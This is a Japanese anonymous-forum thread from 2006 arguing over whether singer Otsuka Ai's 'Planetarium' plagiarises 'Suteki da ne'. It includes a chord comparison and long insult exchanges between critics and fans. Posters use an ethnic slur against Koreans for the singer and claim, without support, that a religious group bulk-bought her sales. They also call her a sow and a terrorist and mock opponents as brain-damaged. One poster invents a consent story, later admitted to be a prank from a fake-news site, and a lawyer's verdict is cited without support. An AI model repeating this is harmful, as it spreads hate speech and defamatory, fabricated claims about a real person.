823なんだが 誤字がある「一章節の類似」ではなく「一章節以上の類似」だ。
スマソ!

841 :名も無き音楽論客:2006/02/19(日) 18:58:27 ID:U1ooF197
>>840
(゚∀゚)<激痛信者より全然    \ましさ

842 :名も無き音楽論客:2006/02/19(日) 19:53:20 ID:???
まぁプラネタリウムはどう考えてもサビが素敵だねに似すぎだろ
よく、あれを似てないとかいう信者を見るが、耳が腐ってるとしか思えない
まぁ俺はパクリと認めた上での信者なら別にいいんだが…
信者には余り期待できんな…

843 :名も無き音楽論客:2006/02/19(日) 19:58:21 ID:U1ooF197
>>842
ハゲドー

844 :名も無き音楽論客:2006/02/19(日) 19:59:09 ID:???
>>842
痛い奴は信者と呼び。
まともな奴はFANって言ったほうが良くないか?

845 :名も無き音楽論客:2006/02/19(日) 20:18:08 ID:U1ooF197
>>844
良識人は ファン
痛い人は 信者

ということで

846 :名も無き音楽論客:2006/02/19(日) 20:33:06 ID:???
>>845
そうなんだが、その判断が一番自分には難しい。
まぁ信者はスルーしたいが、たまに本気で腹立つ奴いるからなぁー。

847 :名も無き音楽論客:2006/02/19(日) 20:37:22 ID:U1ooF197
信者を超えて神父とお呼びしましょう
パクリック教の神は
トー・ツ・カアイ
です

848 :名も無き音楽論客:2006/02/19(日) 20:53:13 ID:???
盗塚教 教祖・盗塚愛
信者・おっさん

849 :名も無き音楽論客:2006/02/19(日) 21:09:49 ID:U1ooF197
オウム心理教以下の宗教団体ですなwwww

850 :名も無き音楽論客:2006/02/19(日) 21:17:29 ID:???
盗塚教 教祖・盗塚愛
信者・おっさん
            へたすりゃ、アルカイダ以上のテロリストだな。

851 :名も無き音楽論客:2006/02/19(日) 21:39:56 ID:U1ooF197
パクリック教には2つの派閥があります
1つは盗塚派
2つ目はレンジ派

このスレには盗塚派が多いようです

852 :名も無き音楽論客:2006/02/19(日) 21:57:59 ID:???
============================================================
「プラネタリウム」のコード進行:
 C F C     Dm7    Am7   B^bM7 F     Gm7 Csus4
 いきたいよ  きみのところへ いますぐかけだしていきたいよ

 C F C     Dm7  Am7  B^bM7 Csus4 C F
 まっくらでなにもみえないこわくてもだいじょうぶ
------------------------------------------------------------
「素敵だね」のコード進行:
 C F C     Dm7 B^bM7  F  C B^bM7
 すてきだね ふたりてをとりあるけたなら

 C F C     Dm7 B^bM7 F Am7 B^bM7
 いきたいよ きみのまちいえうでのなか
============================================================

*ちなみに「いきた〜いよ〜♪」の部分は、両曲ともコード進行だけでなく、
 音符(メロディ)も、歌詞も全て同じ。

853 :名も無き音楽論客:2006/02/19(日) 22:00:55 ID:s0FLxG0j
大塚愛が糞な理由
@世間で代表曲と思われている曲は全てパクリ
Aキャリアはオレンジレンジと同じくせに、総売上ではレンジにボロ負けしてる
BTVで調子こきすぎ。いい年して何ふざけたことやってんの?まだお塩の方が笑える
C大塚の声。しゃがれてるだけ。高音部分なんか聞くに堪えない
D最大ヒット曲「さくらんぼ」。これもただのTVタイアップのお陰。一発屋とかわらん。しかもこれもパクってるし(w
E大塚はチョンなので売り上げの大部分は層化学会の買占め

854 :名も無き音楽論客:2006/02/19(日) 22:07:53 ID:U1ooF197
会社にすがって飯を食べさせてもらってるメスブタというわけか

そしてメスブタを崇拝している激痛信者が存在しているのですか

(/"-)<ナサケネェ

855 :名も無き音楽論客:2006/02/19(日) 22:09:34 ID:???
大塚ヲタの特徴
・すぐ調子に乗る
・なんでも都合の良いように解釈する
・批判的なことを言うやつをアンチと決めつける
・妄想癖がある
・スルーができない
・負けそうになると居直る or すぐ逃げる →謝罪と言う言葉を知らない
・ヲタの対象が対象だけに、真似したがる
・ちんちんのランキングだけが生き甲斐
・アンチを煽っているつもりが、自分が崇拝する馬鹿女を「ちんちん」であると認めている。
・ちんちんがTVに出ると実況を始め板を荒らす

・盗塚のランキングだけが生き甲斐

856 :名も無き音楽論客:2006/02/19(日) 22:14:31 ID:U1ooF197
>>855
・自演癖がある
・煽られ耐性が無さすぎ
・被害妄想が酷い
・壊れたレコードかのように
「話をそらすな」
「決め付けるな」
を連発する

857 :名も無き音楽論客:2006/02/19(日) 22:14:40 ID:s0FLxG0j
大塚愛が糞な理由
@世間で代表曲と思われている曲は全てパクリ
Aキャリアはオレンジレンジと同じくせに、総売上ではレンジにボロ負けしてる
BTVで調子こきすぎ。いい年して何ふざけたことやってんの?まだお塩の方が笑える
C大塚の声。しゃがれてるだけ。高音部分なんか聞くに堪えない
D最大ヒット曲「さくらんぼ」。これもただのTVタイアップのお陰。一発屋とかわらん。しかもこれもパクってるし(w
E大塚はチョンなので売り上げの大部分は層化学会の買占め

858 :名も無き音楽論客:2006/02/19(日) 22:17:14 ID:???
>>855-857の通り、盗塚と
そのヲタは逝ってよしって
こった(藁

859 :名も無き音楽論客:2006/02/20(月) 11:59:03 ID:Zn5kW2Ro
パクリック教の2つの派閥間に争いは起こりません
なぜなら
パクリック教の神は
エイベッ糞
なのです

パクリック教の最も重大な3ヵ条は
1・自分の利益のためなら何をしてもよい
2・マイナスになる事はしない
3・見つからなければ何をしてもよい
の3つです。
派閥間に争いがないのは 2 の決まりがあるからなのです

860 :オナカスイタ:2006/02/20(月) 12:20:23 ID:ZFH4SVCx
信者じゃないけどな。大事な人が悪く言われるのは好きじゃない。で、書き直さないのか?>>823

861 :名も無き音楽論客:2006/02/20(月) 12:27:46 ID:Zn5kW2Ro
>>860
書き直す必要は無いかと
あなた程の生物なら信者を超えて神父ですな

862 :オナカスイタ:2006/02/20(月) 12:30:37 ID:ZFH4SVCx
ありがとうありがとう>>861
褒めてる?


863 :名も無き音楽論客:2006/02/20(月) 12:31:19 ID:???
>>860
悪く言われているのではなく、あくまで見解。
言論の自由を奪うな!


864 :オナカスイタ:2006/02/20(月) 12:33:12 ID:???
見解なら、アンチ達は中傷的な文を書くべきじゃないと思うが?中傷にしか見えないぞ!

865 :名も無き音楽論客:2006/02/20(月) 12:39:33 ID:???
>>864
>>823はあくまで見解、
その他の文は>>823とは関係ない。
そもそも中傷されているのには明確な理由がある。
勉強し直してから来い。


866 :名も無き音楽論客:2006/02/20(月) 12:41:03 ID:Ld4Alf5U
>>860>大事な人
きんもーっ☆

867 :オナカスイタ:2006/02/20(月) 12:41:29 ID:???
まあ、君の頭の悪さはわかるがひどすぎるぞ!>>865


868 :オナカスイタ:2006/02/20(月) 12:43:13 ID:ZFH4SVCx
>>866

 おいおい、褒めすぎだって!困るなぁ

869 :名も無き音楽論客:2006/02/20(月) 12:48:34 ID:???
>>867
世界人権宣言の19条にもかいてあること
を知らないお前に馬鹿呼ばわりされる筋合いないし。
信者が又調子に乗り始めたな。

870 :オナカスイタ:2006/02/20(月) 12:49:59 ID:ZFH4SVCx


             藁

871 :オナカスイタ:2006/02/20(月) 13:09:12 ID:ZFH4SVCx
自分のことを悪く言われると嫌なんだな?ワケワカラン

872 :名も無き音楽論客:2006/02/20(月) 13:22:41 ID:Zn5kW2Ro
おい信者はこのスレにお呼びでないぞ
スレタイを理解しような激痛信者

873 :名も無き音楽論客:2006/02/20(月) 13:40:50 ID:CRnJQQDt
このこ消えたね

874 :名も無き音楽論客:2006/02/20(月) 14:11:39 ID:???
>>871はあまりにも馬鹿な為日本語が理解できないご様子です。



875 :オナカスイタ:2006/02/20(月) 14:23:57 ID:???
なら英語でもいいぞ>>874


876 :名も無き音楽論客:2006/02/20(月) 14:30:49 ID:???
おっさん巣に帰れ。

877 :オナカスイタ:2006/02/20(月) 14:32:55 ID:ZFH4SVCx
普通の議論しろよ、ジャネ

878 :名も無き音楽論客:2006/02/20(月) 15:01:24 ID:Zn5kW2Ro
オナカスイタおじさん
帰って盗塚でオナれば?

879 :キレてないですよ(^ω^;):2006/02/20(月) 17:38:26 ID:???
大塚はすきでも嫌いでもない通りすがりだが、おっさん達ここはアンチスレ(討論スレ?)なんだから大塚をどうこう言われるのが嫌なら来なければいいのに・・・・www

880 :名も無き音楽論客:2006/02/20(月) 17:58:01 ID:7u3P3Rro
しょーこーしょーこーしょこしょこしょーこーあーさーはーらーしょーおーこ〜〜〜〜〜

881 :名も無き音楽論客:2006/02/20(月) 18:14:38 ID:???
大塚信者の特徴
  低学歴、
  文章が同じで支離滅裂、
  末期の自演癖が、
  質問をしても答えになっていない文で返す
  文の深い意味が理解できない、うわべだけの文しか理解できない、
  アンチの文を盗作し、アレンジするが小学生以下の文になる
  低所得者が多い、
  低脳のくせにいきがる  
  おっさん又は中学生以下が多い、
  盗塚を中傷されると「極左翼」ばりにキレる

盗塚神父はこれにニトロが加わる

882 :名も無き音楽論客:2006/02/20(月) 18:28:51 ID:Zn5kW2Ro
ランク付けすると

1 神 エイベッ糞
2 教祖 盗塚・廉痔
3 神父 激痛なヲタク
4 信者 痛いヲタク
5 ファン 非常識人

といった感じだな

883 :オナカスイタ:2006/02/20(月) 18:39:50 ID:???
つまり君は中傷するのが好きなだけだってことだね。誰でもいいんだよ。
>>881>>882の文章から君の性格がわかる。オットまた来てしまった、では・・

884 :名も無き音楽論客:2006/02/20(月) 18:47:03 ID:???
>>883
これが中傷というのはお前が餓鬼な上に低脳だから。
エイベの信者は2ちゃんねるに来るな。


885 :名も無き音楽論客:2006/02/20(月) 18:48:33 ID:Zn5kW2Ro
>>883
学習能力のない神父がまたやって来ました。

文章を読んだだけで性格がわかる人が プラネタリウムと素敵だねを聞いて盗作とは言いきれない
矛盾してますね
普通はプラネタリウムが素敵だねの盗作に気付くほうが圧倒的に簡単なのに
おかしな神父だ

886 :オナカスイタ:2006/02/20(月) 18:52:54 ID:???
似てるから盗作では世の中の総てが盗作になるぞ?小説も、ゲームも、車も何もかもだ?
似てない部分の評価も必要ではないのか?


887 :名も無き音楽論客:2006/02/20(月) 18:56:01 ID:GhFbo+yr
ttp://ameblo.jp/jukinzoku/entry-10009155160.html
盗作商売の検証〜芸術を捉えられない鑑賞者にはなりたくない〜

アレクサンドル・デュマは言った。
「確かに俺は盗作をした。けれども。俺の作品の方がはるかに面白い。」
ガッタス・ブリリアーノは言った。
「私の作品から盗作したければすればいい。私とお前の作品、
どちらが優れているか世間に問うてみよう。私を恐れぬならばかかってこい。」



888 :名も無き音楽論客:2006/02/20(月) 19:27:27 ID:Zn5kW2Ro
>>886
どうやら思い込みも激しいようだ

誰が車やゲームの話をした?
音楽の世界での話だ
やはり激痛神父は話をきちんと理解する能力が無いのだな

889 :オナカスイタ:2006/02/20(月) 19:33:53 ID:ZFH4SVCx
>>888

 君も文章をしっかりと読んで理解してから答えてくれたまえ。
 小学生のような受け答えではな・・

890 :名も無き音楽論客:2006/02/20(月) 19:37:47 ID:???
>>889
お前の方が小学生みたいだぞ。
必死すぎて見苦しい。


891 :オナカスイタ:2006/02/20(月) 19:39:53 ID:ZFH4SVCx
>>890

さあ、はやく答えてくれたまえ

892 :名も無き音楽論客:2006/02/20(月) 19:41:28 ID:???
>>889
ゲームの類似はありえない、プログラムも違うし。
小説も今まで似ている物など見たことも無い、
車似ているって何言ってんの頭大丈夫?


893 :名も無き音楽論客:2006/02/20(月) 19:46:49 ID:yAuFUVc6
オナカスイタ
お前、親にどういう教育されてんだ?
相手の気持ちを考えろって言われなかったか?
盗作された被害者やそのFANの気持ちとか。
信者は利己主義者ばかりだな。


894 :名も無き音楽論客:2006/02/20(月) 19:52:39 ID:Zn5kW2Ro
>>893
あのな
そういうお前こそ親にどんな教育を受けたんだ?
プラネタリウムの盗作なんか特に酷いだろ
それこそRIKKIさんやFFファンの気持ちを考えろよ
まあ教育をしっかり受けさせてもらえなかったなら仕方ないな


895 :オナカスイタ:2006/02/20(月) 19:53:31 ID:???
初期のファイナルファンタジーとドラクエは戦闘システムが類似していた。
小説も話の構成が似ている物が多数ある。車に至っては、外見が曲線で設計されていたりしてデザインが類似しがちだ。
どれも一部分が似ていたりするが、盗作とは言わないし故意に似せているわけではない。
音楽も故意ではなく気づかないうちに類似してしまうところができてしまうのではないか?音の流れの必然性によって・・




896 :オナカスイタ:2006/02/20(月) 19:57:33 ID:???
>>893

 そういう台詞はこちらの台詞だ。盗作と決まってから非難してくれ。

897 :名も無き音楽論客:2006/02/20(月) 20:07:05 ID:Zn5kW2Ro
>>894のレスアンカー間違えた
>>891宛て
>>895>>896
またか
盗作と決まってから批判してたんじゃ遅いんだよ
むしろ今批判しなきゃ盗作だって検証すらされないだろ

しかしまた車やゲームの話を出すとは相当頭に障害があるようだ

898 :オナカスイタ:2006/02/20(月) 20:09:33 ID:ZFH4SVCx
>>897

それがわからないようならその程度の知識と感覚で盗作だパクリだ騒いでるだけの中傷好きの間抜けだ。


899 :名も無き音楽論客:2006/02/20(月) 20:12:30 ID:Zn5kW2Ro
>>それがわからないようなら
どれが?

>>盗作と決まってから

聞き飽きました 壊れたレコードですか

900 :名も無き音楽論客:2006/02/20(月) 20:15:19 ID:yAuFUVc6
>>895
ゲームの盗作はそもそも戦闘システム等で左右されない、
小説の場合構成の類似だけでは盗作にはならない。
車はその性質上似るもの。
音楽の場合、音調、歌詞、が一章節以上の類似は犯罪だって823で弁護士も言ってる。
お前こそ知識ないよな。

901 :名も無き音楽論客:2006/02/20(月) 20:18:09 ID:yAuFUVc6
>>898
今、音楽の盗作の話してるのに、車、ゲームの著作権侵害持ち出すのは大間違い。


902 :オナカスイタ:2006/02/20(月) 20:18:58 ID:???



まあ、討論する価値のないスレということだよ。

903 :名も無き音楽論客:2006/02/20(月) 20:20:43 ID:Zn5kW2Ro
>>898
ゲームや車と音楽を同じ台にあげて意見してるのが違う
人を間抜け等と中傷する前に国語と道徳の勉強をしなおせ

904 :名も無き音楽論客:2006/02/20(月) 20:22:51 ID:yAuFUVc6
>>902
負け惜しみだな厨房神父。

905 :名も無き音楽論客:2006/02/20(月) 20:24:03 ID:Zn5kW2Ro
>>902
もともとヲタやファンのスレでもないのにここに来るお前がおかしい

>>「討論する価値も無い」
まともに意見も言えない奴がそんなこと言っても
負け犬の遠吠えにしか聞こえんぞ
まあ討論できないからそんな事しか言えないんだろうがな

906 :名も無き音楽論客:2006/02/20(月) 20:26:10 ID:???
>>902 の神父はご臨終です。

907 :名も無き音楽論客:2006/02/20(月) 20:28:53 ID:Zn5kW2Ro
負け犬激痛神父は逝ってしまいました
めでたしめでたし

908 :名も無き音楽論客:2006/02/20(月) 20:35:21 ID:???
<USEN>エイベックス株を売却
 有線通信大手「USEN」は20日、
音楽映像事業「エイベックス・グループ・ホールディングス」の保有株21.3%のうち11.3%分を今月中に売却し、
エイベックスを持分法適用関連会社から外すことを決めたと発表。
証券会社を通じて機関投資家を中心に売却する。
USENは「主要株主からも外れる予定」としている。
だそうです。


909 :名も無き音楽論客:2006/02/20(月) 21:39:41 ID:Ld4Alf5U
>>895小説と車の類似している例を出せ。あとこれだけトリップ付けろって言ってるのにスルーしてるってことは自演を認めるってことでいいんだな?

910 :名も無き音楽論客:2006/02/20(月) 21:55:41 ID:Zn5kW2Ro
>>909
ヲジサンは逃走してしまったかと

911 :隊長:2006/02/20(月) 22:16:44 ID:XYVKTY8u
大塚愛は最高だ!

912 :名も無き音楽論客:2006/02/20(月) 22:22:33 ID:???
大塚愛は最低だ!

913 :名も無き音楽論客:2006/02/20(月) 22:53:19 ID:Zn5kW2Ro
>>911:隊長は最悪だ!

914 :名も無き音楽論客:2006/02/20(月) 23:03:43 ID:???
てか、9、11て言うと同時多発テロを思い出すな。
よって、>>911:隊長はテロリスト。

915 :名も無き音楽論客:2006/02/20(月) 23:07:22 ID:Zn5kW2Ro
9・11=テロリスト=隊長=盗塚ヲタ=盗塚=エイベッ糞

916 :名も無き音楽論客:2006/02/20(月) 23:39:40 ID:4Hz7r7wl
アンチは本当に低学歴ですね。
見てると馬鹿丸出し。

917 :名も無き音楽論客:2006/02/20(月) 23:49:40 ID:Zn5kW2Ro
と、住所不定無職のヲジサン(パクリック教盗塚派)が申しております。
どうして信者がここに来るのか
頭に重度の障害があるのだな

918 :名も無き音楽論客:2006/02/21(火) 00:01:56 ID:???
>>916
「アンチは本当に低学歴ですね。
見てると馬鹿丸出し。」
二言目にはそれだな、
負け犬神父が又やられに来たか。

919 :名も無き音楽論客:2006/02/21(火) 00:52:26 ID:1skSlDEO
>>918
アンチは話題をそらすのが特技?
盗作疑惑でお前らアンチどもだけが話してたって意味ないと思う。
やっぱり意見が違う人がいてからこそ話が深まる。
でもアンチが住所不定無職のヲジサン(パクリック教盗塚派)とか負け犬神父
とか馬鹿丸出しな発言をして話を誤魔化そうとしてます。

もう一度いう。
アンチは盗作がどうこうの問題以前に精神科逝け。

920 :名も無き音楽論客:2006/02/21(火) 01:07:38 ID:AquIL4Hf
またヲジサンが来ましたよ

そして決まり文句
「アンチが話ても無駄」

本当に頭が逝っているようだ
>>890あたりから読み直せばすぐわかりますよ

921 :名も無き音楽論客:2006/02/21(火) 01:10:13 ID:???
ね、コレってさ、エイベが送り込んだ
バカの振りした工作員?

あんた、優秀だよ
エイベ盗作疑惑を語る気が萎える

922 :名も無き音楽論客:2006/02/21(火) 01:36:57 ID:???
前レスでもあったが、
弁護士の意見が出て有罪確定してる様なものなのにまだ来るなんて。
言語理解出来ない、奴らばかりだな、
本当に寄生虫だな、信者共!
同じことばかり言うな、前レス読んでから来い。

923 :名も無き音楽論客:2006/02/21(火) 01:40:52 ID:???
エイベックス又は、それに所属するアーティストの擁護をした奴を、
アク禁にすればいいと思うのですが、
どうでしょう?ひろゆき様

924 :名も無き音楽論客:2006/02/21(火) 02:25:48 ID:VpuJxlLO
あさはらしょうこキモス

925 :名も無き音楽論客:2006/02/21(火) 13:03:00 ID:TjsLYVSG
なんで、売れてる人をすぐ盗作とか文句ばっかりいうんですか?世の中、屈折してるやつが多いってことだな

926 :名も無き音楽論客:2006/02/21(火) 13:18:42 ID:???
また餓鬼が来たか
>>1から呼んでから書け


927 :名も無き音楽論客:2006/02/21(火) 13:55:55 ID:AquIL4Hf
>>925
未だに盗作を認められない屈折したバカがいますね

928 :名も無き音楽論客:2006/02/21(火) 14:12:38 ID:VMSKHUH9
逝きた〜い〜よ♪

929 :真実:2006/02/21(火) 19:54:33 ID:UFEjFF51
この件についてですがまず結論からいいますと
盗作ではなく提供だそうです。
エイベックス側が大塚愛の新曲を企画する際に
ファイナルファンタジーのゲーム内にて使われている
RIKKI氏が歌う「素敵だね。」を作曲した
植松氏にこの曲を提供してほしいと頼んだところ
OKをもらったそうでさらに植松氏は作曲名を
大塚愛にすることを飲んだそうです。
また植松氏はエイベックス側が作った歌詞が
曲とマッチするということでアレンジは少しだけに
したのでこのような盗作騒動が起きたそうです。
植松氏は「このような騒動が起きるとは思わなかった。
もっとアレンジを加えたほうがよかった」だそうです。
詳しいことについては検索サイト等で調べてみてください。

930 :名も無き音楽論客:2006/02/21(火) 20:19:43 ID:???
>>929ソース貼れよ

931 :名も無き音楽論客:2006/02/21(火) 20:35:44 ID:AquIL4Hf
>>929同感

そんな情報ソースも無しに信じるかよ
だいたいそれが事実ならアンチも生まれない
ネタだな

932 :名も無き音楽論客:2006/02/21(火) 21:04:43 ID:WTQuM8Ep
フレンジャーっていう大塚愛の新曲はかなりいいですよ。
アンチにはそのよさがまったく分からないようですね。まあどうでもいいけど・・・
アンチは絶対盗作!としか言ってないけどそれしか考えられる要素がないほど頭悪いのか??
私はすれば盗作か盗作じゃないなんて結論は一概に出ないと思われますが・・・

933 :名も無き音楽論客:2006/02/21(火) 21:09:52 ID:AquIL4Hf
>>932
ここにお前は来なくていいぞ
そんなヲタの幼稚な盗塚応援&アンチ批判レスは聞き飽きたのですが
まああなたは遅れてる
という事か

934 :真実:2006/02/21(火) 21:11:57 ID:UFEjFF51
やっぱ信じないよね〜
テクトイックス・タブロイド
(嘘ニュースを配信するインターネットタブロイド紙)
http://d.hatena.ne.jp/textoyx4/20051031
にあったやつなんだけどねぇ
でもあんたら暇だねぇ〜
ワタシも暇人だけどサァ
著作権ってさ、本人かその相続人が訴えない限り
罰されないんだからさー
アンタ達がこんなとこで無意味な討論してても意味内と思うけど〜
盗作許せないって言うんなら、
もっと公の場で活動してみたらどうですか〜?
なんか消防みたいな貶し合いばっかで読んでて笑えるよ〜
まぁ、面白いから続けてくれててもいいんだけどねぇ

935 :名も無き音楽論客:2006/02/21(火) 21:13:09 ID:WTQuM8Ep
>>933
まともな事言われるとすぐに来なくていいぞ と追い返す。
違った意見を持つ人だって世の中たくさんいます。

936 :名も無き音楽論客:2006/02/21(火) 21:14:34 ID:xBDEKuUD
アンチは未だに姑息な負け惜しみを繰り返してるが、
けっきょく絶対的な根拠を示せず逃げ回ってる時点で、
アンチ側の敗北がほぼ確定してしまったわけだ。
案外あっけなかったよな。
もうちょっと音楽理論の応酬にでもなるかと思ってたのに、
>>742 みたいな致命的な馬鹿レスで勝手に自滅するし(笑)
>>742 の馬鹿レスがアンチ側敗北の決定打の一つだったな。

→ 作れないとは思わないけど、
→ 盗塚の才能では野島や植松の作った作品は作れない。

これがアンチらの根拠だから聞かれる度に逃げてる、と。
こういうのを「語るに落ちる」と言うんだよ(笑)
絶対作れないという根拠があって
盗作呼ばわりしてるならまだしもさ。


937 :名も無き音楽論客:2006/02/21(火) 21:15:02 ID:AquIL4Hf
>>934
お前も暇なら(ry

エイベッ糞は大きな会社だからなあ
訴える側が訴えないのは何か大きな圧(ry


938 :真実:2006/02/21(火) 21:16:20 ID:UFEjFF51
ありゃりゃ〜
”意味ない”が”意味内”になってるよ〜
でも読めるよねぇ?
すっごく馬鹿じゃない限り消防でもわかるよねぇ

939 :名も無き音楽論客:2006/02/21(火) 21:17:31 ID:WTQuM8Ep
>>937
まだ馬鹿丸出ししてんの?
もういい加減に一慨に盗作とは言えないことも認めろ。

940 :名も無き音楽論客:2006/02/21(火) 21:18:54 ID:???
なんかココのアンチって感情的じゃん。見ててそう思った。
なんか勝手な意見で盗作だ!って言い張ってるけどどこまでアンチは馬鹿なの??

941 :名も無き音楽論客:2006/02/21(火) 21:22:10 ID:???
>>940スレタイをよく読もうね。

942 :名も無き音楽論客:2006/02/21(火) 21:26:32 ID:3xO4KykP
大塚聞いてる男ってキモイのばっかじゃない?
女も女でブスなのに無理してお洒落する見たいな感じのやつばっか

943 :名も無き音楽論客:2006/02/21(火) 21:27:30 ID:???
>>942
って言ってる奴が一番キモイと思う。

944 :真実:2006/02/21(火) 21:31:57 ID:UFEjFF51
>>>937
確かにおっきな会社だわ〜
普通は手が出ない領域かもねぇ
どーなるんだろねぇ?
もっと騒ぎになれば面白いのにねぇ〜

>>>940
感情的ぃ〜とか言ってるキミが一番感情的ぃ〜
挑発してどうするのさぁ
それじゃー子供のけんかだよぉ
アンチに何言ったって無駄だと思うけどなぁ
それともかまって欲しくてここ来たのかなぁ

945 :名も無き音楽論客:2006/02/21(火) 21:35:33 ID:AquIL4Hf
なんか楽しいスレになりましたね

なぜか盗塚ヲタクがたくさん

946 :真実:2006/02/21(火) 21:41:18 ID:UFEjFF51
>>945
ここに居る限り、
キミもその仲間入りだと思うけどねぇ〜


947 :名も無き音楽論客:2006/02/21(火) 21:52:06 ID:AquIL4Hf
>>946
え?俺が盗塚ヲタ?
スレタイ読んで見よう

948 :名も無き音楽論客:2006/02/21(火) 21:55:54 ID:AquIL4Hf
>>947まあソースがあるなら盗作でないと信じるか


アンチではいるけど

949 :真実:2006/02/21(火) 22:13:58 ID:UFEjFF51
>>948
あれぇ〜
ごめんねぇ
>>939とか>>940とかのスレ読んでたらさぁ〜
頭の中で勝手に盗塚オタ=盗塚アンチに変換されちゃってねぇ
間違えてごめんよぉ〜

950 :名も無き音楽論客:2006/02/21(火) 22:17:07 ID:AquIL4Hf
ヲタ=アンチ
真逆wwwww
( ゚,_ゝ゚)バカジャネーノ

951 :真実:2006/02/21(火) 22:22:26 ID:UFEjFF51
バカって言うほうがおバカァ〜

盗塚ヲタさんたちはもういないのぉ?
せっかく楽しい雰囲気だったのになぁ〜
つまらないねぇ

952 :名も無き音楽論客:2006/02/21(火) 22:28:05 ID:???
結局盗作してないんじゃん。
アンチは適当に物事すすめすぎ。

953 :名も無き音楽論客:2006/02/21(火) 22:28:19 ID:AquIL4Hf
ヲタは今あなた一人ですよ
と、言うより信者かwww
失礼www

954 :名も無き音楽論客:2006/02/21(火) 22:30:59 ID:AquIL4Hf
>>952
今までは盗作してない証拠がなかったからだよ

だから今盗作してない証拠が出たからここにいたアンチが激減してしまた…orz

955 :名も無き音楽論客:2006/02/21(火) 22:31:06 ID:UFEjFF51
>>952
"結局"の意味がわからないです〜
バカでもわかるように説明してくださ〜い

956 :名も無き音楽論客:2006/02/21(火) 22:32:41 ID:???
>>954
別にアンチが減っても増えても関係ない。
要は人気があるかどうかだなら。

957 :名も無き音楽論客:2006/02/21(火) 22:33:22 ID:WTQuM8Ep
>>955
盗作に関する資料ありがと。

958 :名も無き音楽論客:2006/02/21(火) 22:38:52 ID:UFEjFF51
>>957
え〜?
資料ってなにが?

959 :名も無き音楽論客:2006/02/21(火) 22:39:31 ID:???
>>936の低脳に教えてやるよ。
>>742

→ 作れないとは思わないけど、
A 作れないと思わない。これは 野島や植松程の才能を持った人間が作れるか否かの事を指す。
→ 盗塚の才能では野島や植松の作った作品は作れない。
A まさにその通り盗作野朗では作品は何も作れない。
「分かったかなー?激痛信者君たち?こんなこともわからないようじゃ生きる価値ないよー!


960 :名も無き音楽論客:2006/02/21(火) 22:40:15 ID:l7XKC9YE
>>939-940自演乙。早く>>909に答えてくれよw

961 :名も無き音楽論客:2006/02/21(火) 22:40:48 ID:AquIL4Hf
盗作が事実でないとなったなら このスレはスレタイが意味をなさなくなってしまた

ノシ

962 :名も無き音楽論客:2006/02/21(火) 22:47:04 ID:???
結局盗作してんじゃん。
信者は適当に物事すすめすぎ。

963 :名も無き音楽論客:2006/02/21(火) 22:48:08 ID:WTQuM8Ep
「分かったかなー?激痛信者君たち?こんなこともわからないようじゃ生きる価値ないよー!
またアンチの馬鹿な発言。見てて低学歴だと思われるよ。
>>958
あなたがリンクさせたプラネタのページのこと。

964 :名も無き音楽論客:2006/02/21(火) 22:48:10 ID:AquIL4Hf
それでも俺は
アンチだ!
盗作の
アンチだ!

965 :名も無き音楽論客:2006/02/21(火) 22:48:47 ID:WTQuM8Ep
>>962
なぜ分かるんですか??
説明してくださいね。

966 :名も無き音楽論客:2006/02/21(火) 22:48:59 ID:???
>>939
まだ馬鹿丸出ししてんの?
もういい加減に盗作と認めろ

967 :名も無き音楽論客:2006/02/21(火) 22:51:04 ID:???
>>963
理解できないから馬鹿なんだよ、
お前ら信者は


968 :名も無き音楽論客:2006/02/21(火) 22:52:46 ID:???
>>1
から読み直せ信者。

969 :名も無き音楽論客:2006/02/21(火) 22:53:52 ID:UFEjFF51
>>963
やっぱりあれのこと〜?
ちゃんと>>934>>929は嘘だよーでいったのにねぇ。
ほんとに信じちゃった人いたんだねぇ


970 :名も無き音楽論客:2006/02/21(火) 22:54:15 ID:WTQuM8Ep
>>967
ですから証拠もないアンチには盗作だと決め付けられないってこと。
分かったかな??
せめて半信半疑くらいにしておけ!
お前らアンチは盗作確実と言い張っているようにしか見えん。

971 :名も無き音楽論客:2006/02/21(火) 22:54:19 ID:AquIL4Hf
ここの情報やレスが頭の中でごちゃごちゃになってるのは俺だけですか

972 :名も無き音楽論客:2006/02/21(火) 22:55:11 ID:???
なんかココの信者ってヴァカじゃん。見ててそう思った。
なんか勝手な意見で盗作じゃない!って言い張ってるけど、どこまで信者は馬鹿なの??

973 :名も無き音楽論客:2006/02/21(火) 22:56:47 ID:AquIL4Hf
>>969
なんだよwww
見事にみんな釣られまくったって事か
今世紀最大の釣りかもなwwww

アンチ宣言して
(・∀・;)ヨカタ

974 :名も無き音楽論客:2006/02/21(火) 22:58:19 ID:WTQuM8Ep
>>972
お前はどこまで馬鹿なの?
人の話の内容も分からんのか?
ダレも盗作してないとは言ってない。
お前らアンチの盗作だ!って言う考えは本当に確実か?
と少し疑問を持った。
なぜアンチが絶対盗作だといえるんだ?
どこまで言い張ってんだよ。

975 :名も無き音楽論客:2006/02/21(火) 22:58:38 ID:???
>>970
>>1 から読み直せって何回言わせんだよ馬鹿信者。
弁護士の意見も出ている。

976 :名も無き音楽論客:2006/02/21(火) 23:00:06 ID:WTQuM8Ep
>>975
デタラメもいいとこだよアンチ君。
弁護士?笑わせんな!

977 :名も無き音楽論客:2006/02/21(火) 23:01:11 ID:AquIL4Hf
>>974>>1から読め

978 :名も無き音楽論客:2006/02/21(火) 23:01:15 ID:unYnWce8
>>974
一部のアンチは盗作“疑惑”と言う
また、“似ている”曲が多いのも事実

979 :名も無き音楽論客:2006/02/21(火) 23:02:09 ID:???
>>974
お前はどこまで馬鹿なの?
人の話の内容も分からんのか?
お前ら信者の盗作じゃない!って言う考えは本当に確実か?
とかなり疑問を持った。
なぜ信者が絶対盗作じゃない!といえるんだ?
どこまで言い張ってんだよ。



980 :名も無き音楽論客:2006/02/21(火) 23:02:24 ID:AquIL4Hf
>>976

お前最近来た信者か
>>800ぐらいから見てみれば?

981 :名も無き音楽論客:2006/02/21(火) 23:03:51 ID:WTQuM8Ep
アンチは人の言葉をすぐにパクルんだよな。


982 :名も無き音楽論客:2006/02/21(火) 23:04:11 ID:UFEjFF51
>>973
暇だったから遊んでみたんだよ〜

>>976
素敵だね 盗作 大塚愛
で検索してみれば色々と検証してるヒトタチがいるよ〜
参考ついでにみてくればぁ〜?

983 :名も無き音楽論客:2006/02/21(火) 23:05:03 ID:WTQuM8Ep
>>982
別に興味ない。

984 :名も無き音楽論客:2006/02/21(火) 23:06:19 ID:???
>>975
今お前は信者又は神父の典型的な返しを出したな。
お前らは証拠が揃うといつも「笑わせる!」だな。
壊れたレコードか?
現実逃避も大概にしろよ。


985 :名も無き音楽論客:2006/02/21(火) 23:06:24 ID:AquIL4Hf
